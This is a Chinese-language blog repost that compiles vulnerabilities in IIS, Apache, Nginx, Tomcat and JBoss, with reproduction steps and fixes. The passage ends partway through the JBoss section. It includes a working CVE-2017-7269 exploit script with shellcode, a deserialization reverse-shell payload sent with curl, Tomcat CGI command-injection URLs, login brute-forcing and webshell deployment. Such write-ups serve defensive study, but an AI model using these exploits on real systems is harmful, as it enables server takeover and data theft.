今天看到一篇公眾號文章寫的關於中間件漏洞的整理,里面有部分是我不知道的,轉載一下,
https://mp.weixin.qq.com/s/2rSNjMxHZjAGMmzKStF28w
-
第一章:IIS
-
IIS 6 解析漏洞
-
IIS 7 解析漏洞
-
PUT任意文件寫入
-
IIS短文件漏洞
-
HTTP.SYS遠程代碼執行 (MS15-034)
-
RCE-CVE-2017-7269
-
第二章:Apache
-
未知擴展名解析漏洞
-
AddHandler導致的解析漏洞
-
Apache HTTPD 換行解析漏洞(CVE-2017-15715)
-
第三章:Nginx
-
Nginx配置文件錯誤導致的解析漏洞
-
Nginx 空字節任意代碼執行漏洞
-
Nginx 文件名邏輯漏洞(CVE-2013-4547)
-
Nginx 配置錯誤導致的安全問題
-
第四章:Tomcat
-
Tomcat 任意文件寫入(CVE-2017-12615)
-
Tomcat 遠程代碼執行(CVE-2019-0232)
-
Tomcat + 弱口令 && 后台getshell漏洞
-
Tomcat manager App 暴力破解
-
第五章:JBoss
-
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
-
JBoss JMXInvokerServlet 反序列化漏洞
-
JBoss EJBInvokerServlet 反序列化漏洞
-
JBoss <=4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
-
Administration Console 弱口令
-
JMX Console未授權訪問
-
第六章:weblogic
-
XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
-
Weblogic wls9_async_response,wls-wsat 反序列化遠程代碼執行漏洞(CVE-2019-2725)
-
Weblogic WLS Core Components 反序列化命令執行漏洞(CVE-2018-2628)
-
Weblogic 任意文件上傳漏洞(CVE-2018-2894)
-
Weblogic SSRF漏洞 (CVE-2014-4210)
-
Weblogic 弱口令 && 后台getshell
-
第七章:GlassFish
-
GlassFish Directory Traversal(CVE-2017-1000028)
-
GlassFish 后台Getshell
-
第八章:WebSphere
-
Java反序列化(CVE-2015-7450)
-
弱口令 && 后台Getshell
1、IIS
IIS是Internet Information Services的縮寫,意為互聯網信息服務,是由微軟公司提供的基於運行Microsoft Windows的互聯網基本服務。IIS目前只適用於Windows系統,不適用於其他操作系統。
IIS 6 解析漏洞
基於文件名,該版本 默認會將 *.asp;.jpg 此種格式的文件名,當成Asp解析,原理是 服務器默認不解析; 號及其后面的內容,相當於截斷。

另外,IIS6.x除了會將擴展名為.asp的文件解析為asp之外,還默認會將擴展名為.asa,.cdx,.cer解析為asp,
從網站屬性->主目錄->配置 可以看出,他們都是調用了asp.dll進行的解析。
修復建議
由於微軟並不認為這是一個漏洞,也沒有推出IIS 6.0的補丁,因此漏洞需要自己修復。
1、限制上傳目錄執行權限,不允許執行腳本。
2、不允許新建目錄。
3.、上傳的文件需經過重命名(時間戳+隨機數+.jpg等)
IIS 7 解析漏洞
1、安裝IIS7.5,控制面板 -> 程序 -> 打開或關閉windows功能。
2、下載php-5.2.6-win32-installer.msi
3、打開msi,一直下一步來到選擇web server setup的界面,在這里選擇IIS fastcgi,之后一直下一步。
4、打開IIS,管理工具 ->Internet 信息服務(IIS)管理器
5、選擇編輯ISAPI或者CGI限制
添加安裝的php-cgi.exe路徑,描述隨意。
6、返回第五步的第一個圖片位置,點擊處理程序映射,添加如下。
7、phpinfo測試
IIS7.x版本 在Fast-CGI運行模式下,在任意文件,例:test.jpg后面加上/.php,會將test.jpg 解析為php文件。
修復建議
配置cgi.fix_pathinfo(php.ini中)為0並重啟php-cgi程序
結果如下:
PUT任意文件寫入
IIS Server 在 Web 服務擴展中開啟了 WebDAV之后,支持多種請求,配合寫入權限,可造成任意文件寫入。
修復建議
關閉WebDAV 和 寫權限
IIS短文件漏洞
Windows 以 8.3 格式生成與 MS-DOS 兼容的(短)文件名,以允許基於 MS-DOS 或 16 位 Windows的程序訪問這些文件。在cmd下輸入”dir /x”即可看到短文件名的效果。
IIS短文件名產生:
1、當后綴小於4時,短文件名產生需要文件(夾)名前綴字符長度大於等於9位。2、當后綴大於等於4時,文件名前綴字符長度即使為1,也會產生短文件名。
目前IIS支持短文件名猜測的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六種。
IIS 8.0之后的版本只能通過OPTIONS和TRACE方法被猜測成功。
復現:
IIS8.0以下版本需要開啟ASP.NET支持,IIS大於等於8.0版本,即使沒有安裝ASP.NET,通過OPTIONS和TRACE方法也可以猜解成功。
以下通過開啟IIS6.0 ASP.NET后進行復現。
當訪問構造的某個存在的短文件名,會返回404;
當訪問構造的某個不存在的短文件名,會返回400;
IIS短文件漏洞局限性
1) 如果文件名本身太短也是無法猜解的;
2) 此漏洞只能確定前6個字符,如果后面的字符太長、包含特殊字符,很難猜解;
3) 如果文件名前6位帶空格,8.3格式的短文件名會補進,和真實文件名不匹配;
4) 如果文件夾名前6位字符帶點”.”,掃描程序會認為是文件而不是文件夾,最終出現誤報;
5) 不支持中文文件名,包括中文文件和中文文件夾。一個中文相當於兩個英文字符,故超過4個中文字會產生短文件名,但是IIS不支持中文猜測。
修復建議
1)從CMD命令關閉NTFS 8.3文件格式的支持
Windows Server 2003:(1代表關閉,0代表開啟)
關閉該功能:fsutil behavior set disable8dot3 1
Windows Server 2008 R2:
查詢是否開啟短文件名功能:fsutil 8dot3name query
關閉該功能:fsutil 8dot3name set 1
不同系統關閉命令稍有區別,該功能默認是開啟的.
2)或從修改注冊表關閉NTFS 8.3文件格式的支持
快捷鍵Win+R打開命令窗口,輸入regedit打開注冊表窗口
找到路徑:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,將其中的 NtfsDisable8dot3NameCreation這一項的值設為 1,1代表不創建短文件名格式
以上兩種方式修改完成后,均需要重啟系統生效。
Note:此方法只能禁止NTFS8.3格式文件名創建,已經存在的文件的短文件名無法移除,需要重新復制才會消失。
例:將web文件夾的內容拷貝到另一個位置,如c:\www到c:\ww,然后刪除原文件夾,再重命名c:\ww到c:\www。
HTTP.SYS遠程代碼執行 (MS15-034)
影響范圍:
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2
復現:
在Windows7上 安裝IIS7.5。
1、訪問。
2、編輯請求頭,增加Range: bytes=0-18446744073709551615字段,若返回碼狀態為416 Requested Range Not Satisfiable,則存在HTTP.SYS遠程代碼執行漏洞
漏洞有點雞肋,配合其他漏洞使用還是可以用用的,具體使用可轉至MSF中。
修復建議
安裝修復補丁(KB3042553)
RCE-CVE-2017-7269
Microsoft Windows Server 2003 R2中的Internet信息服務(IIS)6.0中的WebDAV服務中的ScStoragePathFromUrl函數中的緩沖區溢出允許遠程攻擊者通過以”If:<http://“開頭的長標頭執行任意代碼PROPFIND請求。
影響范圍:
在Windows 2003 R2(Microsoft(R) Windows(R) Server 2003, Enterprise Edition Service Pack 2)上使用IIS 6.0並開啟WebDAV擴展。
復現:
CVE作者給出的exp 計算機彈彈彈!!!
用python2 運行,結果如下。
任務管理器開啟了calc.exe進程,因為計算器是網絡服務權限打開的,所以我們在桌面上看不見。
這個漏洞有幾個需要注意的地方,如下。
由於作者提供的Exp執行之后就卡在那里了,因此不適合用彈計算機的shellcode進行測試,網上找了個dalao的回顯shellcode來測試。
首先將上圖中python2 IDE運行時產生的Raw類型的HTTP數據包copy保存至記事本中,然后在Burp Repeater模塊 Paste from file。
將shellcode更換成如下:
VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A
結果:
CVE作者給出的Exp是在默認端口,默認域名,默認路徑的情況下適用。
第一個需要注意的是端口和域名綁定問題:
當端口改變時,If頭信息中的兩個url端口要與站點端口一致,如下。
當域名改變時,If頭信息中的兩個url域名要與站點域名一致,且HOST頭也要與站點域名一致。如下
不修改Host將返回502,如下
Note:
1
2
|
測試的時候凡是需要修改IIS配置的操作,修改完畢后都需要重啟IIS,
或者在不超過禁用閾值的前提下結束w3wp進程。
|
第二個需要注意的是物理路徑問題:
CVE作者提供的Exp是在 默認路徑長度等於19(包括結尾的反斜杠)的情況下適用,IIS默認路徑一般為:c:\inetpub\wwwroot
解決方法:
當路徑長度小於19時需要對padding進行添加。
當路徑長度大於19時需要對padding進行刪除。
ROP和stackpivot前面的padding實際上為UTF8編碼的字符,每三個字節解碼后變為兩個字節的UTF16字符,在保證Exp不出錯的情況下,有0x58個字符是沒用的。所以可以將前0x108個字節刪除,換成0x58個a或b。
原exp 修改后如下:
# coding:utf-8
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.124.129',8888))
pay='PROPFIND / HTTP/1.1\r\nHost: www.lxhsec.com\r\nContent-Length: 0\r\n'
pay+='If: <http://www.lxhsec.com:8888/aaaaaaa'
pay+='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
pay+='\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://www.lxhsec.com:8888/bbbbbbb'
pay+='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
pay+='\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A'
pay+=shellcode
pay+='>\r\n\r\n'
print pay
sock.send(pay)
data = sock.recv(80960)
print data
sock.close
執行:
當路徑長度小於19時,如下,需要增加12個a,b
而實際中路徑常常大於19,需要對padding進行刪除。
當路徑為c:\www\
的時候,a有107個,加起來有114個,除去盤符有111個字符,所以可以把Exp的padding增加至111,並逐次進行減少。當長度不匹配時返回500,成功時返回200,通過爆破方式得到物理路徑長度。
成功:
失敗:
當然如果能得到物理路徑,則用114減去物理路徑長度(包括末尾的反斜杠)就是所需的padding長度。
第三個需要注意的是,超時問題。
當exp執行成功一段時間之后(大概十分鍾到二十分鍾左右,其間無論有無訪問),再對這個站點執行exp永遠不會成功,同時返回400。
解決方法:
1.等待w3wp重啟。
2.測試旁站(因為每個池都是獨立的w3wp進程,換一個可能在其他池的旁站進行嘗試)
第四個需要注意的是,多次執行錯誤shellcode
多次執行錯誤的shellcode會覆蓋很多不該覆蓋的代碼,從而導致正確的shellcode執行時也返回500,
提示信息為:參數不正確,也可能什么都不返回。
解決方法:
1.等待w3wp重啟。
2.測試旁站(因為每個池都是獨立的w3wp進程,換一個可能在其他池的旁站進行嘗試)
修復建議:關閉 WebDAV
2、Apache
Apache是世界使用排名第一的Web服務器軟件。它可以運行在幾乎所有廣泛使用的計算機平台上,由於其跨平台和安全性被廣泛使用,是最流行的Web服務器端軟件之一。它快速、可靠並且可通過簡單的API擴充,將Perl/Python等解釋器編譯到服務器中。
未知擴展名解析漏洞
Apache的解析漏洞依賴於一個特性:Apache默認一個文件可以有多個以點分割的后綴,當最右邊的后綴無法識別(不在mime.types文件內),則繼續向左識別,直到識別到合法后綴才進行解析。
復現:
這里使用phpstudy進行復現。
下載地址:
http://phpstudy.php.cn/phpstudy/phpStudy(PHP5.2).zip
訪問phpinfo.php.xxx
實戰中可以上傳rar,owf等文件進行利用,如果上傳phpinfo.php.jpg,即使文件名中有.php,也會直接解析為jpg。因為Apache認識.jpg,停止繼續向左識別。
AddHandler導致的解析漏洞
如果運維人員給.php后綴增加了處理器:
AddHandler application/x-httpd-php .php
那么,在有多個后綴的情況下,只要一個文件名中含有.php后綴,即被識別成PHP文件,沒必要是最后一個后綴。
利用這個特性,將會造成一個可以繞過上傳白名單的解析漏洞。
復現:
即使最右邊的文件格式是在mime.types文件內,只要文件名中出現.php,就直接被解析為php。
Apache HTTPD 換行解析漏洞(CVE-2017-15715)
影響范圍:2.4.0~2.4.29版本
環境:phpstudy2014 Apache + PHP5.4n
此漏洞形成的根本原因,在於$, 正則表達式中$不僅匹配字符串結尾位置,也可以匹配\n 或 \r
在解析PHP時,1.php\x0A將被按照PHP后綴進行解析,導致繞過一些服務器的安全策略。
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
測試代碼:
<html>
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="text" name="name" />
<input type="submit" value="上傳文件" />
</form>
</body>
</html>
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
echo "ok";
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>
點擊Go后,效果如下:
相同代碼在Linux下進行測試,可以正常寫入。
訪問:
限制:獲取文件名時不能用$_FILES[‘file’][‘name’],因為它會自動把換行去掉。
修復建議
1、升級到最新版本
2、或將上傳的文件重命名為為時間戳+隨機數+.jpg的格式並禁用上傳文件目錄執行腳本權限。
3、Nginx
Nginx是一款輕量級的Web 服務器/反向代理服務器及電子郵件(IMAP/POP3)代理服務器,在BSD-like 協議下發行。其特點是占有內存少,並發能力強,事實上nginx的並發能力確實在同類型的網頁服務器中表現較好。
Nginx配置文件錯誤導致的解析漏洞
對於任意文件名,在后面添加/xxx.php(xxx為任意字符)后,即可將文件作為php解析。
例:info.jpg后面加上/xxx.php,會將info.jpg 以php解析。
這里使用phpstudy2014 ,Nginx + PHP5.3n進行復現(以下復現若無特別說明均采用此環境)
結果:
該漏洞是Nginx配置所導致,與Nginx版本無關,下面是常見的漏洞配置。
server {
location ~ \.php$ {
root /work/www/test;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_pass unix:/tmp/php-fpm.sock;
}
}
當攻擊者訪問/info.jpg/xxx.php時, Nginx將查看URL,看到它以.php結尾,並將路徑傳遞給PHP fastcgi處理程序。
Nginx傳給php的路徑為c:/WWW/info.jpg/xxx.php
,
在phpinfo中可以查看_SERVER["ORIG_SCRIPT_FILENAME"]
得到。
PHP根據URL映射,在服務器上尋找xxx.php文件,但是xxx.php不存在,又由於cgi.fix_pathinfo默認是開啟的,因此PHP 會繼續檢查路徑中存在的文件,並將多余的部分當作 PATH_INFO。接着PHP在文件系統中找到.jpg文件,而后以PHP的形式執行.jpg的內容,並將/xxx.php存儲在 PATH_INFO 后丟棄,因此我們在phpinfo中的$_SERVER['PATH_INFO']
看的到值為空。
Note:php的一個選項:cgi.fix_pathinfo,該選項默認開啟,值為1,用於修理路徑,
例如:當php遇到文件路徑”/info.jpg/xxx.php/lxh.sec”時,若”/info.jpg/xxx.php/lxh.sec”不存在,則會去掉最后的”/lxh.sec”,然后判斷”/info.jpg/xxx.php”是否存在, 若存在則將/info.jpg/xxx.php當作文件/info.jpg/xxx.php/lxh.sec,若/info.jpg/xxx.php仍不存在,則繼續去掉xxx.php,依此類推。
修復建議
1、配置cgi.fix_pathinfo(php.ini中)為0並重啟php-cgi程序
結果:
2、或如果需要使用到cgi.fix_pathinfo這個特性(例如:Wordpress),那么可以禁止上傳目錄的執行腳本權限。
或將上傳存儲的內容與網站分離,即站庫分離。
3、或高版本PHP提供了security.limit_extensions這個配置參數,設置security.limit_extensions = .php
Nginx 空字節任意代碼執行漏洞
影響版本:Nginx 0.5*
, 0.6*
,0.7 <= 0.7.65
,0.8 <= 0.8.37
這里提供個打包好的Windows環境 Nginx 0.7.65+php 5.3.2
鏈接:https://pan.baidu.com/s/1FUVJv9iFCcX9Qp5D5AMxKw
提取碼:imdm
解壓后,在Nginx目錄下執行startup.bat
然后在nginx-0.7.65/html/
目錄下創建info.jpg,內容為<?php phpinfo();?>
,
訪問info.jpg
,並抓包,修改為info.jpg..php
,在Hex選修卡中將jpg后面的.
,更改為00
.
Note:該漏洞不受cgi.fix_pathinfo
影響,當其為0時,依舊解析。
修復建議
升級Nginx版本
Nginx 文件名邏輯漏洞(CVE-2013-4547)
影響版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
在Windows弄了個環境,后來發現要文件名的后面存在空格,而Windows是不允許存在此類文件的,因此這里復現,使用Vulhub的docker進行復現。
訪問http://your-ip:8080/ 上傳文件
訪問http://your-ip:8080/uploadfiles/info.jpg, 並抓包,修改為info.jpg...php, 在Hex選修卡中將jpg后面的兩個點2e改成20,00 點擊Go,如下。
Note:該漏洞不受cgi.fix_pathinfo影響,當其為0時,依舊解析,在Windows上有所限制。
修復建議
1、設置security.limit_extensions = .php
2、或升級Nginx
Nginx 配置錯誤導致的安全問題
CRLF注入
查看Nginx文檔,可以發現有三個表示uri的變量:
1.$uri
2.$document_uri
3.$request_uri
1和2表示的是解碼以后的請求路徑,不帶參數;3表示的是完整的URI(沒有解碼)
Nginx會將1,2進行解碼,導致傳入%0a%0d即可引入換行符,造成CRLF注入漏洞。
錯誤配置:
http://127.0.0.1/%0aX-XSS-Protection:%200%0a%0d%0a%0d%3Cimg%20src=1%20onerror=alert(/xss/)%3E
將返回包的Location端口設置為小於80,使得瀏覽器不進行跳轉,執行XSS。
修復建議
location / {
return 302 https://$host$request_uri;
}
目錄穿越
Nginx在配置別名(Alias)的時候,如果忘記加/,將造成一個目錄穿越漏洞。
錯誤的配置文件示例(原本的目的是為了讓用戶訪問到C:/WWW/home/目錄下的文件):
location /files {
autoindex on;
alias c:/WWW/home/;
}
結果:
修復建議
只需要保證location和alias的值都有后綴/或都沒有/這個后綴。
目錄遍歷
當Nginx配置文件中,autoindex 的值為on時,將造成一個目錄遍歷漏洞。
結果:
修復建議
將autoindex 的值為置為off。
add_header被覆蓋
Nginx的配置文件分為Server、Location等一些配置塊,並且存在包含關系,子塊會繼承父塊的一些選項,比如add_header。
如下配置中,整站(父塊中)添加了CSP頭:
4、Tomcat
Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬於輕量級應用 服務器,在中小型系統和並發訪問用戶不是很多的場合下被普遍使用,是開發和調試JSP 程序的首選。對於一個初學者來說,可以這樣認為,當在一台機器上配置好Apache 服務器,可利用它響應 HTML ( 標准通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當運行tomcat 時,它實際上作為一個與Apache 獨立的進程單獨運行的。
Tomcat 任意文件寫入(CVE-2017-12615)
環境:Tomcat/8.0.30
漏洞本質是Tomcat配置文件/conf/web.xml 配置了可寫(readonly=false),導致我們可以往服務器寫文件:
增加完配置之后,記得重啟Tomcat,效果如下:
當readonly=true時,效果如下。
Tomcat 遠程代碼執行(CVE-2019-0232)
影響范圍:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
影響系統:Windows
測試環境:
Apache Tomcat v8.5.39
JDK 1.8.0_144
修改配置:
web.xml
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
content.xml
在Tomcat\webapps\ROOT\WEB-INF
新建cgi
目錄,並創建lxhsec.bat
文件,內容任意。
訪問http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&dir
執行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user
Note:net命令的路徑要寫全,直接寫net user,Tomcat控制台會提示net不是內部命令,也不是可運行的程序,另 必須使用+號連接,使用空格,%2B都會執行失敗,控制台報錯。
修復建議
這個默認是關閉的,如果打開了請關閉,若需使用請升級版本。
Tomcat + 弱口令 && 后台getshell漏洞
環境:Apache Tomcat/7.0.94
在conf/tomcat-users.xml文件中配置用戶的權限:
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
正常安裝的情況下,tomcat7.0.94中默認沒有任何用戶,且manager頁面只允許本地IP訪問。只有管理員手工修改了這些屬性的情況下,才可以進行攻擊。
訪問 http://127.0.0.1:8080/manager/html ,輸入弱密碼tomcat:tomcat,登陸后台。
生成war包:
jar -cvf lxhspy.war lxhspy.jsp
部署后,訪問 http://127.0.0.1:8080/war包名/包名內文件名, 如下。
修復建議
1、若無必要,取消manager/html功能。
2、若要使用,manager頁面應只允許本地IP訪問
Tomcat manager App 暴力破解
環境:Apache Tomcat/7.0.94
訪問:http://127.0.0.1:8080/manager/html, 輸入密碼,抓包,如下。
剛才輸入的賬號密碼在HTTP字段中的Authorization中,規則為Base64Encode(user:passwd)
Authorization: Basic dG9tY2F0OmFkbWlu
解碼之后如下:
將數據包發送到intruder模塊,並標記dG9tY2F0OmFkbWlu。
Payload type選擇 Custom iterator,設置三個position,1為用戶字典,2為:,3為密碼字典,並增加Payload Processing 為Base64-encode如下:
最后取消Palyload Encoding編碼。
結果:
修復建議
1、若無必要,取消manager/html功能。
2、若要使用,manager頁面應只允許本地IP訪問
5、JBoss
jBoss是一個基於J2EE的開發源代碼的應用服務器。JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB1.1、EJB 2.0和EJB3的規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。
默認端口:8080,9990
Windows下Jboss安裝,
1、下載http://jbossas.jboss.org/downloads/
2、解壓,我這里解壓后的目錄為:C:\jboss-6.1.0.Final
3、新建環境變量:JBOSS_HOME 值為:C:\jboss-6.1.0.Final
在path中加入:;%JBOSS_HOME%\bin;
4、打開C:\jboss-6.1.0.Final\bin 雙擊run.bat。出現info消息,即配置成功。
Note:注意JDK版本要在1.6~1.7之間,1.8版本 jBoss運行打開JMX Console會出現500錯誤。
jboss默認部署路徑:
C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war
設置外網訪問,將
C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml
<!-- A HTTP/1.1 Connector on port 8080 -->
<Connector protocol="HTTP/1.1" port="${jboss.web.http.port}" address="${jboss.bind.address}"
redirectPort="${jboss.web.https.port}" />
將address=”${jboss.bind.address}” 設置為address=”0.0.0.0” ,並重啟JBoss
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
訪問 /invoker/readonly
返回500,說明頁面存在,此頁面存在反序列化漏洞。
利用工具:JavaDeserH2HC,我們選擇一個Gadget:ReverseShellCommonsCollectionsHashMap,編譯並生成序列化數據:
生成ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
生成ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666(ip是nc所在的ip)
利用:
curl http://192.168.31.205:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
JBoss JMXInvokerServlet 反序列化漏洞
訪問 /invoker/JMXInvokerServlet返回如下,說明接口開放,此接口存在反序列化漏洞。
如下:
JBoss EJBInvokerServlet 反序列化漏洞
訪問 /invoker/EJBInvokerServlet
返回如下,說明接口開放,此接口存在反序列化漏洞。
這里直接利用CVE-2017-12149生成的ser,發送到/invoker/EJBInvokerServlet接口中。
如下:
修復建議
1、不需要 http-invoker.sar 組件的用戶可直接刪除此組件。路徑為:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,刪除后訪問404.
2、或添加如下代碼至 http-invoker.sar 下 web.xml 的 security-constraint 標簽中,對 http invoker 組件進行訪問控制:
<url-pattern>/*</url-pattern>
路徑為:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml
JBoss<=4.x JBossMQ JMS反序列化漏洞(CVE-2017-7504)
環境:jboss-4.2.3
設置外網訪問:在
C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml
將address=”${jboss.bind.address} 改為:address=”0.0.0.0”, 重啟Jboss
<Connector port="8080" address="${jboss.bind.address}"
maxThreads="250" maxHttpHeaderSize="8192"
emptySessionPath="true" protocol="HTTP/1.1"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="20000" disableUploadTimeout="true" />
訪問/jbossmq-httpil/HTTPServerILServlet,
返回This is the JBossMQ HTTP-IL,說明頁面存在,此頁面存在反序列化漏洞。
如下:
修復建議:升級至最新版。
Administration Console 弱口令
Administration Console管理頁面存在弱口令,admin:admin,登陸后台上傳war包。
1、點擊Web Application (WAR)s
2、Add a new resource,上傳war包
4、訪問http://xx.xx.xx.xx/[warname]/shellname.jsp
修復建議
1、修改密碼
C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties
JBoss版本>=6.0,admin-console頁面路徑為:C:\jboss-6.1.0.Final\common\deploy\admin-console.war
6.0之前的版本,路徑為C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
JMX Console未授權訪問
JMX Console默認存在未授權訪問,直接點擊JBoss主頁中的JMX Console鏈接進入JMX Console頁面。
1、在JMX Console頁面點擊jboss.system鏈接,在Jboss.system頁面中點擊service=MainDeployer,如下
